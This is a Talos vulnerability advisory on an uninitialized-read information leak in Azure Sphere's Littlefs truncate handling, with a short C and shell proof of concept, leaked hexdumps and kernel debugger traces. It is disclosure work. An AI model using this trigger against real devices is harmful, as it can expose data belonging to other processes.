Talos Vulnerability Report

TALOS-2020-1130

Microsoft Azure Sphere Littlefs truncate information disclosure vulnerability

SEPTEMBER 23, 2020

CVE NUMBER

None

SUMMARY

An information disclosure vulnerability exists in the Littlefs filesystem functionality of Microsoft Azure Sphere 20.06. A specially crafted set of syscalls can cause an uninitialized read, resulting leakage of information. An attacker can use syscalls to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Microsoft Azure Sphere 20.06

PRODUCT URLS

Azure Sphere - https://azure.microsoft.com/en-us/services/azure-sphere/

CVSSV3 SCORE

7.1 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-908 - Use of Uninitialized Resource

DETAILS

Microsoft's Azure Sphere is a platform for the development of internet-of-things applications. It features a custom SoC that consists of a set of cores that run both high-level and real-time applications, enforces security and manages encryption (among other functions). The high-level applications execute on a custom Linux-based OS, with several modifications to make it smaller and more secure, specifically for IoT applications.

One of the optional features that Azure sphere grants to application developers is `MutableStorage`, an extremely fundamental feature for most applications. It should be noted before proceeding that this vulnerability would not apply to applications that only use read-only `asxipfs` storage, however we think it is fair to assume that most applications are going have mutable storage, and thus an issue worth looking at. To define an application with mutable storage, the we take an `app_manifest.json` from the Azure Sphere documentation :

```
{
  "SchemaVersion": 1,
  "Name" : "Mt3620App_Mutable_Storage",
  "ComponentId" : "9f4fee77-0c2c-4433-827b-e778024a04c3",
  "EntryPoint": "/bin/app",
  "CmdArgs": [],
   "Capabilities": {
    "AllowedConnections": [],
    "AllowedTcpServerPorts": [],
    "AllowedUdpServerPorts": [],
    "MutableStorage": { "SizeKB": 8 },
    "Gpio": [],
    "Uart": [],
    "WifiConfig": false,
    "NetworkConfig": false,
    "SystemTime": false
  }
}
```

As long as the `MutableStorage` is set, a folder on the device to be created at `/mnt/config/<ComponentID>` in which a file descriptor to the application data can be opened and closed with the `Storage_OpenMutableFile` and `Storage_DeleteMutableFile` functions. Materially, these functions just wrappers for `open` and `close` on the fore mentioned `/mnt/config/<ComponentID>` folder, so there's nothing too complex with these functions in particular.

Examining this process closer, we see that the `/mnt/config/<ComponentID>` lives on a "littlefs" partition at `/mnt/config/` which, at least for userland Linux, is the only place mutable data can be stored and backed by a disk looking like so:

```
/dev/mtdblock1 on /mnt/config type littlefs (rw,noexec,noatime)

Filesystem                Size      Used Available Use% Mounted on
/dev/mtdblock1          512.0K     48.0K    464.0K   9% /mnt/config
```

Important to note that a lot of data is actually taken up by even a 0x4 bytes file, due to littlefs' underlying implementation and features (e.g. internal file commits and backups), which is something that developers will discover pretty quickly. Regardless, it's worth noting `sys_open` and `sys_write` are not the only methods of hitting littlefs quota code, any kernel driver code that edits the disk will appropriately hit this code. For our purposes we examine the kernel driver's `file_inode_operations.setattr` method `littlefs_file_setattr`:

```
static int littlefs_file_setattr(struct dentry *dentry, struct iattr *iattr)
{
    struct inode *inode = d_inode(dentry);
    struct littlefs_sb_info *c = LITTLEFS_SB_INFO(inode->i_sb);
    struct littlefs_inode_info *f = LITTLEFS_INODE_INFO(inode);
    int error = 0;

    if (!f) {
        return -ENOENT;
    }

    error = setattr_prepare(dentry, iattr); // permission and sizefit checks
    if (error)
        return error;

    if (iattr->ia_valid & ATTR_UID) {  // [1]
        // [...]
    }

    if (iattr->ia_valid & ATTR_SIZE) { // [2]
        // [...]
    }

}
```

Of note for littlefs' file attributes, there's no xattrs and only `S_IFREG` regular files and `S_IFDIR` directories can be created. This particular `littlefs_file_setattr` only applies to files, not directories, and only really cares about two types of attributes, `ATTR_UID` [1] and `ATTR_SIZE` [2]. Since we'd need `SYS_CAP_CHMOD` in order to change the `ATTR_UID` to a user id that wasn't ours, we ignore that and instead focus on `ATTR_SIZE`. The only way to hit this `ATTR_SIZE` case is with the syscall `truncate`, which allows one to change the size of a file, positively or negatively to an arbitrary length, and if extended, the file should zero-extend. To elaborate, a simple set of shell commands:

```
> pwd
/mnt/config/d940e448-10b8-4b85-ac5f-69e6a6e4efc6
>
> ls

> touch asdf
> echo boop > asdf
> ls -la
total 1
drwx------    2 1007     1007             0 Jan  1  1970 .
drwx--x--x    5 sys      appman           0 Jan  1 05:09 ..
-rw-r--r--    1 1007     1007             5 Jan  1 05:11 asdf

> truncate -s $(( 0x10000 )) ./asdf

> ls -la
total 1
drwx------    2 1007     1007             0 Jan  1  1970 .
drwx--x--x    5 sys      appman           0 Jan  1 05:09 ..
-rw-r--r--    1 1007     1007         65536 Jan  1 05:11 asdf
```

As one might expect, when we truncate the file to `0x10000` in length, it appropriately grows to that corresponding amount. But what happens when we cat out the file?

```
[^_^] bytes read: 0x0
[^_^] Wrote 0x4 bytes to ./test!
[^_^] bytes read: 0xffff
0x00000000: 0x62 0x6f 0x6f 0x70 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | boop............
0x00000010: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
0x00000020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
0x00000030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
0x00000040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
0x00000050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
0x00000060: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
------------
0x00000b10: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x11 0x10 0x00 0x00 0xe1 0x14 0x00 0x00 | ................
0x00000b20: 0xa8 0xf5 0x9c 0xbc 0xa8 0xf5 0x9c 0xbc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
------------
0x00000eb0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x11 0x10 0x00 0x00 0x41 0x11 0x00 0x00 | ............A...
0x00000ec0: 0x98 0xf5 0x9c 0xbc 0x98 0xf5 0x9c 0xbc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
------------
0x00000f30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x11 0x10 0x00 0x00 0xc1 0x10 0x00 0x00 | ................
0x00000f40: 0x98 0xf5 0x9c 0xbc 0x98 0xf5 0x9c 0xbc 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | ................
------------
```

Rather rudely, bytes have shown up in the file, so let us delete the file and try again:

```
[^_^] bytes read: 0x0
[^_^] Wrote 0x4 bytes to ./test!
[^_^] bytes read: 0xffff
0x00000000: 0x62 0x6f 0x6f 0x70 0xc7 0x38 0x00 0x00 0xa1 0x4a 0x01 0x00 0x0c 0x00 0x00 0x00 | boop.8...J......
0x00000010: 0x12 0x00 0x0b 0x00 0x10 0x30 0x00 0x00 0x5d 0x41 0x01 0x00 0x2c 0x00 0x00 0x00 | .....0..]A..,...
0x00000020: 0x12 0x00 0x0b 0x00 0xaf 0x06 0x00 0x00 0xdd 0xe9 0x00 0x00 0x3a 0x00 0x00 0x00 | ............:...
0x00000030: 0x12 0x00 0x0b 0x00 0xb4 0x47 0x00 0x00 0x69 0x64 0x01 0x00 0x20 0x00 0x00 0x00 | .....G..id.. ...
0x00000040: 0x12 0x00 0x0b 0x00 0x4c 0x0e 0x00 0x00 0x09 0x22 0x01 0x00 0x06 0x00 0x00 0x00 | ....L...."......
0x00000050: 0x12 0x00 0x0b 0x00 0x1f 0x25 0x00 0x00 0xdd 0x31 0x01 0x00 0x06 0x00 0x00 0x00 | .....%...1......
0x00000060: 0x12 0x00 0x0b 0x00 0x23 0x0e 0x00 0x00 0xe9 0x21 0x01 0x00 0x10 0x00 0x00 0x00 | ....#....!......
0x00000070: 0x12 0x00 0x0b 0x00 0x1b 0x02 0x00 0x00 0xbd 0xd6 0x00 0x00 0x5a 0x00 0x00 0x00 | ............Z...
0x00000080: 0x12 0x00 0x0b 0x00 0x85 0x4a 0x00 0x00 0xbd 0x66 0x01 0x00 0x0e 0x00 0x00 0x00 | .....J...f......
0x00000090: 0x12 0x00 0x0b 0x00 0xfa 0x29 0x00 0x00 0x5d 0x36 0x01 0x00 0x40 0x00 0x00 0x00 | .....)..]6..@...
0x000000a0: 0x12 0x00 0x0b 0x00 0x0e 0x04 0x00 0x00 0x51 0xdf 0x00 0x00 0x7c 0x00 0x00 0x00 | ........Q...|...
0x000000b0: 0x12 0x00 0x0b 0x00 0xd7 0x4b 0x00 0x00 0xc1 0x68 0x01 0x00 0x2a 0x00 0x00 0x00 | .....K...h..*...
0x000000c0: 0x12 0x00 0x0b 0x00 0xc3 0x25 0x00 0x00 0x1d 0x32 0x01 0x00 0x0e 0x00 0x00 0x00 | .....%...2......
```

Again bytes materialize out of ether, so now the task is to track down where these bugs came from. Since this happens with both standard busybox tools and the code below, it's hopefully not user error:

```
    int fd = open(fname, O_CREAT | O_RDWR, 00666);

    if (fd < 0){
        perror("open");
        return -1;
    }
    printf("[^_^] Wrote 0x%x bytes to %s!\n",write(fd,"boop",4),fname);
    close(fd);

    if (truncate(fname,truncsize) < 0){
        perror("[x.x] Truncate");
        return -1;
    }
    hexdump_file(fname);
    remove(fname);
```

After a large amount of unsuccessful kernel debugging in the littlefs codebase, the following was finally found:

```
590     size_t copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
591                              struct iov_iter *i)
592     {    <[^.^]
593             if (i->type & (ITER_BVEC|ITER_KVEC)) {
594                     void *kaddr = kmap_atomic(page);
595                     size_t wanted = copy_to_iter(kaddr + offset, bytes, i);
596                     kunmap_atomic(kaddr);
***********************************************************************************
#0  copy_page_to_iter (page=0xc1fbded4, offset=0, bytes=4096, i=0xc0f40ef0) at lib/iov_iter.c:592
#1  0xc0168502 in do_generic_file_read (written=<optimized out>, iter=<optimized out>, ppos=<optimized out>, filp=<optimized out>) at
mm/filemap.c:1804
#2  generic_file_read_iter (iocb=<optimized out>, iter=0xc0f40ef0) at mm/filemap.c:1972
#3  0xc0195c32 in new_sync_read (ppos=<optimized out>, len=<optimized out>, buf=<optimized out>, filp=<optimized out>) at
fs/read_write.c:444
#4  __vfs_read (file=0xc1fbded4, buf=<optimized out>, count=<optimized out>, pos=0xc0f40f78) at fs/read_write.c:456
#5  0xc0195cc6 in vfs_read (file=0xc0f57000, buf=0xbea12d44 "", count=65535, pos=0xc0f40f78) at fs/read_write.c:477
#6  0xc0196082 in SYSC_read (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:594
#7  SyS_read (fd=<optimized out>, buf=-1096733372, count=65535) at fs/read_write.c:587
#8  <signal handler called>
#9  0xbea12cdc in ?? ()
***********************************************************************************

[>_>]> fin
Run till exit from #0  copy_page_to_iter (page=0xc1fbded4, offset=0, bytes=4096, i=0xc0f40ef0) at lib/iov_iter.c:592

Hardware watchpoint 7: -location *0xbea12d54

Old value = 0
New value = -402792720
0xc023751e in arm_copy_to_user () at arch/arm/lib/copy_template.S:118
118                     str8w   r0, r3, r4, r5, r6, r7, r8, ip, lr, abort=20f
```

So, before we actually exit the `copy_page_to_iter` function, we end up writing back to the buffer from our `sys_read` syscall. Examining the next function up, `do_generic_file_read`, we see the following comments:

```
page_ok:
        /*
         * i_size must be checked after we know the page is Uptodate.
         *
         * Checking i_size after the check allows us to calculate
         * the correct value for "nr", which means the zero-filled
         * part of the page is not copied back to userspace (unless
         * another truncate extends the file - this is desired though).
         */

        [...]

        /*
         * Ok, we have the page, and it's up-to-date, so
         * now we can copy it to user space...
         */

        ret = copy_page_to_iter(page, offset, nr, iter); // #! path to write
        offset += ret;
```

If we look further down to see where the littlefs code starts, we can see the `readpage:` label, where we would expect to normally end up:

```
readpage:
        /*
         * A previous I/O error may have been due to temporary
         * failures, eg. multipath errors.
         * PG_error will be set again if readpage fails.
         */
        ClearPageError(page);
        /* Start the actual read. The read will unlock the page. */
        error = mapping->a_ops->readpage(filp, page);                 // where the lfs_code is
```

To save time, the only way to hit `readpage` [1] is to first hit `no_cached_page` or fall through `page_ok`:

```
no_cached_page:
        /*
         * Ok, it wasn't cached, so we need to create a new
         * page..
         */
        page = page_cache_alloc_cold(mapping);
        if (!page) {
            error = -ENOMEM;
            goto out;
        }
        error = add_to_page_cache_lru(page, mapping, index,
                mapping_gfp_constraint(mapping, GFP_KERNEL));
        if (error) {
            put_page(page);
            if (error == -EEXIST) {
                error = 0;
                goto find_page;
            }
            goto out;
        }
        goto readpage; // [1]
    }
```

All this implying that we are indeed grabbing a cached page out of memory before anything else, since the only way to hit the `page_ok` label and subsequently `copy_page_to_iter` is like so:

```
find_page:
        if (fatal_signal_pending(current)) {
            error = -EINTR;
            goto out;
        }

        page = find_get_page(mapping, index); // pagecache_get_page(struct address_space mapping, offset, 0, 0)
        if (!page) {                         //   first call => (0xc1403954, 0x0)
            // [...]
        }
        if (PageReadahead(page)) { // tests bit 14
            page_cache_async_readahead(mapping,
                    ra, filp, page,
                    index, last_index - index);
        }
        if (!PageUptodate(page)) { // ret = test_bit(PG_uptodate, &(page)->flags);
            // [...]
        }
page_ok:
```

If we look at the address_space structure before hitting `find_get_page`, we can see the following relevant fields:

```
struct address_space {
    struct inode *host = 0xc1c07270
    struct radix_tree_root page_tree = {gfp_mask = 0x2180020, rnode = 0xc1fca930};
    spinlock_t tree_lock = {{rlock = {raw_lock = {<No data fields>}}}};
    atomic_t i_mmap_writable = {counter = 0x0};
    struct rb_root i_mmap = {rb_node = 0x0};
    struct rw_semaphore i_mmap_rwsem = {count = {counter = 0x0}, wait_list = {next = 0xc1c07354, prev = 0xc1c07354}, wait_lock = {raw_lock =
{<No data fields>}}};
    unsigned long nrpages = 0x1;   // [1]
    unsigned long nrexceptional = 0x0;
    unsigned long writeback_index = 0x0;
    const struct address_space_operations *a_ops = 0xc040a1b8;
    unsigned long flags = 0x0;
    spinlock_t private_lock = {{rlock = {raw_lock = {<No data fields>}}}};
    gfp_t gfp_mask = 0x24200ca;
    struct list_head private_list = {next = 0xc1c07374, prev = 0xc1c07374};
    void *private_data = 0x0;
} *
```

Of most relevance is the fact that there's currently a page in the page cache at [1], and if we continue past `find_get_page(mapping, 0x0)`, we can see it gets returned to us:

```
[~.~]> p *page
$33 = {flags = 8, {mapping = 0xc1c07474, s_mem = 0xc1c07474, compound_mapcount = {counter = -1044351884}},
                  {index = 0, freelist = 0x0},
                  {counters = 4294967295, {{_mapcount = {counter = -1}, active = 4294967295, {inuse = 65535, objects = 32767, frozen = 1},
units = -1}, _refcount = {counter = 3}}},
                  {lru = {next = 0x100, prev = 0x200}, pgmap = 0x100, {next = 0x100, pages = 512, pobjects = 0},
                    callback_head = {next = 0x100, func = 0x200}, {compound_head = 256, compound_dtor = 512, compound_order = 0}},
                  {private = 0, slab_cache = 0x0}, mem_cgroup = 0xc1802200}
```

Looking at the flags, 0x8 is `PG_uptodate`, so we pass the checks further on and continue down to the `page_ok` label, and subsequent writing of this page back to userland, resulting in an information leak.

So where does this page come from and why is it in the page cache? If we look back to the original proof-of-concept causing the issue:

```
int fd = open(fname, O_CREAT | O_RDWR, 00666);

if (fd < 0){
    perror("open");
    return -1;
}                                          // vvv[1]vvv
printf("[^_^] Wrote 0x%x bytes to %s!\n",write(fd,"boop",4),fname);
close(fd);

if (truncate(fname,truncsize) < 0){
    perror("[x.x] Truncate");
    return -1;
}
hexdump_file(fname);
remove(fname);
```

There’s actually a 4-byte write at [1] before the truncation that doesn’t seem important, but it indeed is:

```
[-.-]> bt                                                      //vv[1]vv
#0  add_to_page_cache_lru (page=0xc1fca444, mapping=0xc1c0a0cc, offset=0, gfp_mask=54657226) at mm/filemap.c:731
#1  0xc0167420 in pagecache_get_page (mapping=0xc1fca444, offset=3250626764, fgp_flags=0, gfp_mask=54657226) at mm/filemap.c:1251
#2  0xc0168bdc in grab_cache_page_write_begin (mapping=<optimized out>, index=<optimized out>, flags=<optimized out>) at mm/filemap.c:2685
#3  0xc020e85a in littlefs_write_begin (filp=<optimized out>, mapping=<optimized out>, pos=<optimized out>, len=4, flags=0,
pagep=0xc0f3fe2c, fsdata=0xc0f3fe30) at fs/littlefs/inode.c:794
#4  0xc0168c78 in generic_perform_write (file=0xc0f3dc00, i=0xc0f3fee8, pos=<optimized out>) at mm/filemap.c:2741
#5  0xc0168df8 in __generic_file_write_iter (iocb=0xc0f3ff00, from=0xc0f3fee8) at mm/filemap.c:2866
#6  0xc0168f4a in generic_file_write_iter (iocb=0xc0f3ff00, from=0xc0f3fee8) at mm/filemap.c:2894
#7  0xc0195dee in new_sync_write (ppos=<optimized out>, len=<optimized out>, buf=<optimized out>, filp=<optimized out>) at
fs/read_write.c:501
#8  __vfs_write (file=0xc1fca444, p=<optimized out>, count=<optimized out>, pos=0xc0f3ff78) at fs/read_write.c:514
#9  0xc0195f74 in vfs_write (file=0xc0f3dc00, buf=0x25fecea4 "boop", count=<optimized out>, pos=0xc0f3ff78) at fs/read_write.c:562
#10 0xc0196116 in SYSC_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:610
#11 SyS_write (fd=<optimized out>, buf=637456036, count=4) at fs/read_write.c:602
#12 <signal handler called>
#13 0xbeed4cec in ?? ()
```

At [1], we can see this original page getting added into the lru cache, and at [2], this is because a call to `pagecache_get_page` couldn’t find a valid page, hits `__page_cache_alloc` and then adds the new page with `add_page_to_cache_lru`. Due to time constraints for the Azure Sphere challenge, we have not ascertained the reason why this page is never cleared in the course of this code path, however it does seem possible for this page to contain information from other processes, making the information leak actually useful.

TIMELINE

2020-07-24 - Vendor Disclosure

2020-10-06 - Public Release

CREDIT

Discovered by Lilith >_>, Claudio Bozzato and Dave McDaniel of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

NEXT REPORT

TALOS-2020-1139

TALOS-2020-1120